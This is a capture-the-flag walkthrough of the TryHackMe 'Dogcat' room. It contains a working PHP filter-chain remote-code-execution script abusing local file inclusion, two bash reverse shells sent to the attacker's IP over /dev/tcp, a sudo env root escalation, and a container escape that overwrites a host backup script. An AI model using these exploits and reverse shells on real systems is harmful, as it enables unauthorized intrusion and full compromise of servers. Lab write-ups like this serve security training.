Skip to main content

Dogcat - THM

This is the writeup for the TryHackMe medium difficulty room called Dogcat.

Task

From the task we can already see that we are going to deal with a PHP webserver.

Recon

CMD: nmap -sS -sV -p- $IP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-14 17:05 CEST
Nmap scan report for 10.10.112.67
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))

The scan shows us a webserver running on port 80.

Website

Clicking either cat or dog reveals how the website works.

http://10.10.184.180/?view=dog

Let's enumerate which values does the parameter view accept.

CMD: ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://$IP/?view=FUZZ -c -mw 106

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.10.184.180/?view=FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response words: 106
________________________________________________

category [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 43ms]
publications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
education [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
catalog [Status: 200, Size: 757, Words: 106, Lines: 24, Duration: 43ms]
categories [Status: 200, Size: 763, Words: 106, Lines: 24, Duration: 43ms]
applications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 42ms]
Education [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 42ms]
uncategorized [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
locations [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
Publications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
certification [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 44ms]
location [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 42ms]
collapse_tcat [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
communications [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 42ms]
syndication [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms]
application [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms]
offercategory [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
authentication [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 43ms]
communication [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms]
dedicated [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
catalogue [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms]
Applications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
syndicate [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 42ms]
locator [Status: 200, Size: 757, Words: 106, Lines: 24, Duration: 43ms]
vacation [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 44ms]
cats [Status: 200, Size: 751, Words: 106, Lines: 24, Duration: 43ms]
scat [Status: 200, Size: 751, Words: 106, Lines: 24, Duration: 43ms]
colocation [Status: 200, Size: 763, Words: 106, Lines: 24, Duration: 43ms]
certificate [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms]
publication [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 42ms]
Communications [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 44ms]
blogcategory [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms]
telecommunications [Status: 200, Size: 779, Words: 106, Lines: 24, Duration: 43ms]
catalogs [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 43ms]

In the responses we notice that all the words that include either the string cat or dog returns an error.

Error_Message

From the error message we can conclude that whatever we type into the parameter of view will be executed as the argument of the include() function and an additional .php extension will be added to the end of the string.

Exploitation

http://10.10.184.180/?view=php://filter/convert.base64-encode/resource=./cat/../index

Using this URL, we can get the base64 encoded content of the index.php file.

Index_Php

Decoding it gives us the original code.

index.php
<!DOCTYPE html>
<html>
<head>
<title>dogcat</title>
<link rel="stylesheet" type="text/css" href="/style.css" />
</head>

<body>
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>

<div>
<h2>What would you like to see?</h2>
<a href="/?view=dog"><button id="dog">A dog</button></a>
<a href="/?view=cat"><button id="cat">A cat</button></a><br />
<?php function containsStr($str, $substr) { return strpos($str, $substr)
!== false; } $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php'; if
(isset($_GET['view'])) { if (containsStr($_GET['view'], 'dog') ||
containsStr($_GET['view'], 'cat')) { echo 'Here you go!'; include
$_GET['view'] . $ext; } else { echo 'Sorry, only dogs or cats are
allowed.'; } } ?>
</div>
</body>
</html>

From the code we can clearly see how it works. We also notice that with the parameter ext we can change the extension of the opened file.
Abusing php filters we can get a shell on the target.

Getting the 1st flag

requester.py
import requests

url = "http://10.10.112.67/"
file_to_use = "cat.php"
command = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.14.99.147/9998 0>&1'"

base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
'2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
'3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
'6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
'+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
'=': ''
}

filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"

for c in base64_payload[::-1]:
filters += conversions[c] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource=./cat/../{file_to_use}"

r = requests.get(url, params={
"view": final_payload,
"ext": "",
"0": command,
})

print(r.text)

You can see how this exploit works here.

CMD: nc -lvnp 9998

Using the exploit and starting a listener we get a shell.

Flag1

The first FLAG is found in the var/www/html directory.

Getting the 2nd flag

Flag2

The second FLAG is in the var/www directory.
(I only realized here that we should have assumed that there is a flag.php file in the web root.)

Getting the 3rd flag

CMD: sudo -l
Matching Defaults entries for www-data on b13221eddbc6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on b13221eddbc6:
(root) NOPASSWD: /usr/bin/env

Running the above command we notice that we are able to run env as root.
The website GTFOBins shows how we can get a shell as root.

CMD: sudo /usr/bin/env /bin/sh

Flag3

The third FLAG is in the /root directory.

Getting the 4th flag

If we explore the target we realize that we are in a docker container.

CMD: df -aTh

Filesystem Type Size Used Avail Use% Mounted on
overlay overlay 9.8G 5.3G 4.0G 58% /
proc proc 0 0 0 - /proc
tmpfs tmpfs 64M 0 64M 0% /dev
devpts devpts 0 0 0 - /dev/pts
sysfs sysfs 0 0 0 - /sys
tmpfs tmpfs 481M 0 481M 0% /sys/fs/cgroup
cgroup cgroup 0 0 0 - /sys/fs/cgroup/systemd
cgroup cgroup 0 0 0 - /sys/fs/cgroup/net_cls,net_prio
cgroup cgroup 0 0 0 - /sys/fs/cgroup/cpu,cpuacct
cgroup cgroup 0 0 0 - /sys/fs/cgroup/devices
cgroup cgroup 0 0 0 - /sys/fs/cgroup/cpuset
cgroup cgroup 0 0 0 - /sys/fs/cgroup/pids
cgroup cgroup 0 0 0 - /sys/fs/cgroup/freezer
cgroup cgroup 0 0 0 - /sys/fs/cgroup/rdma
cgroup cgroup 0 0 0 - /sys/fs/cgroup/perf_event
cgroup cgroup 0 0 0 - /sys/fs/cgroup/blkio
cgroup cgroup 0 0 0 - /sys/fs/cgroup/memory
cgroup cgroup 0 0 0 - /sys/fs/cgroup/hugetlb
mqueue mqueue 0 0 0 - /dev/mqueue
shm tmpfs 64M 0 64M 0% /dev/shm
/dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /opt/backups
/dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /etc/resolv.conf
/dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /etc/hostname
/dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /etc/hosts
/dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /var/www/html
proc proc 0 0 0 - /proc/bus
proc proc 0 0 0 - /proc/fs
proc proc 0 0 0 - /proc/irq
proc proc 0 0 0 - /proc/sys
proc proc 0 0 0 - /proc/sysrq-trigger
tmpfs tmpfs 481M 0 481M 0% /proc/acpi
tmpfs tmpfs 64M 0 64M 0% /proc/kcore
tmpfs tmpfs 64M 0 64M 0% /proc/keys
tmpfs tmpfs 64M 0 64M 0% /proc/timer_list
tmpfs tmpfs 64M 0 64M 0% /proc/sched_debug
tmpfs tmpfs 481M 0 481M 0% /proc/scsi
tmpfs tmpfs 481M 0 481M 0% /sys/firmware

Looking at the mounts we see that the /opt/backups directory is shared between the docker container and the host machine.

CMD: ls -la

total 2892
drwxr-xr-x 2 root root 4096 Apr 8 2020 .
drwxr-xr-x 1 root root 4096 Oct 14 13:11 ..
-rwxr--r-- 1 root root 69 Mar 10 2020 backup.sh
-rw-r--r-- 1 root root 2949120 Oct 14 14:43 backup.tar

The backup.sh file is executed on the host machine every now and than, and we are able to modify its content to execute a reverse shell.

CMD: echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.14.99.147/10000 0>&1'" > backup.sh
CMD: nc -lvnp 10000

After stating a listener on the attacker machine and waiting for a bit, we receive a shell.

Flag4

The 4th FLAG is in the /root directory of the host machine.